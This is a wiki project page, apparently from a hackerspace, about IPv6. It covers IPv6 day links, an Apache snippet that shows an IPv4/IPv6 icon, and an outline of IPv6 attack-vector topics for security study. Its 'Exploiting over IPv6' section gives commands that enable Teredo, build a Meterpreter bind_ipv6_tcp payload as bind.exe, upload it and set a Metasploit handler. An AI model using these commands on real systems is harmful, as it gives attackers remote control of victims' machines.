Table of Contents

IPv6

IPv6
founder: ruza
depends on:
interested: kxt, biiter
software license:
hardware license:
status: active

~~META: status = active &relation firstimage = :project:ipv6-badge-blk-128-trans.png ~~

Goals of the Project

Status and Plan

The project is currently in the planning stage.

World IPv6 day (8 June 2011)

World IPv6 launch (6 June 2012)

6or4 checkicon guy for your website

Check your web server support SSI

/etc/apache2/sites-enabled/000-default
SetEnvIf Server_Addr "^2001:" IPV6
wget -4 http://www.cznog.eu/images/checkicon.php -O ./images/ipv4.png
wget -6 http://www.cznog.eu/images/checkicon.php -O ./images/ipv6.png
index.html
<!--#if expr="$IPV6"--><img src="/images/ipv6.png" alt="IPv6 smile" />
  <!--#else -->        <img src="/images/ipv4.png" alt="IPv4 sad" />
<!--#endif -->

Topics (attack vectors)

Introduction to IPv6

IPv6 Addressing Architecture

Finding IPv6 hosts

http://www.abclinuxu.cz/clanky/architektura-ipv6-adresace-uzlu-1

IPv6 Header Fields

IPv6 Extension Headers

IPv6 Privacy Extensions (RFC 3041)

IPv6 Options

IPsec

Internet Control Message Protocol version 6 (ICMPv6)

Neighbor Discovery for IPv6

Multicast Listener Discovery

Mobility (RFC 3775)

Address Auto-configuration

Dynamic Host Configuration Protocol version 6 (DHCPv6)

Application support for IPv6

IPv6 firewalls

Transition/co-existence technologies (6to4, Teredo, ISATAP, etc.)

Security Implications of IPv6 on IPv4-only networks

Exploiting over IPv6

Windows

int ipv6 install
netsh int ipv6 set teredo [enterpriseclient|client] #(enterpriseclient gives you and public ip)
netsh int ipv6 show teredo # we need qualified State

msfpayload windows/meterpreter/bind_ipv6_tcp LPORT=1337 X > bind.exe
upload bind.exe
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_ipv6_tcp

http://vimeo.com/15243189

IPv6 implementation (network devices testing)

Papers, books

Tools